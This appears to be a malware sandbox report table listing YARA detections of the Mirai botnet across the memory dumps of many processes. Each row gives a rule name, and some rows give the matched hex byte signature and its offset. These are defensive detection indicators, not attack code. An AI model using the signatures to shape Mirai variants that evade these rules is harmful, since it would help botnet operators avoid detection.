7314.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7098.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7098.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7098.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7098.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7098.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7098.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7432.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7432.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7432.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7432.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7432.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7432.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7098.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7122.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7122.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7122.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7122.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7122.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7122.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6279.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6279.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6279.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6279.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6279.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6279.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7259.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7259.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7259.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7259.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7259.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7259.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6817.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6817.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6817.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6817.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6817.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6817.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6909.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6909.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6909.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6909.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6909.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6909.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6802.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6802.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6802.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6802.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6802.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6802.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7126.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7126.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7126.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7126.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7126.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7126.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6298.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6298.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6298.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6298.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6298.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6298.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7414.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7414.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7414.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7414.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7414.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7414.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6436.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6436.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6436.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6436.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6436.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6436.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6792.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6792.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6792.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6792.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6792.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6792.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7434.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6579.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6579.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6579.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6579.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6579.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6579.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6304.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6304.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6304.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6304.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6304.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6304.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6455.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6455.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6455.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6455.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6455.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6455.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6302.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6302.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6302.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6302.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6302.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6302.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7364.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7364.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7364.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7364.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7364.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7364.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6697.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6697.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6697.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6697.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6697.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6697.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6510.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6510.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6510.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6510.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6510.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6510.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7031.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7031.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7031.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7031.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7031.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7031.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7181.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7181.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7181.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7181.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7181.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7181.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6490.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6490.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6490.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6490.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6490.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6490.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6305.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7401.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6305.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6305.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7401.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6844.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7401.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6305.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6305.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6305.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6844.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6844.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6844.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6844.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6844.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7401.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7401.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7401.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6415.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6415.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6415.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6415.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6415.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6415.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6691.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6691.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6691.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6691.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
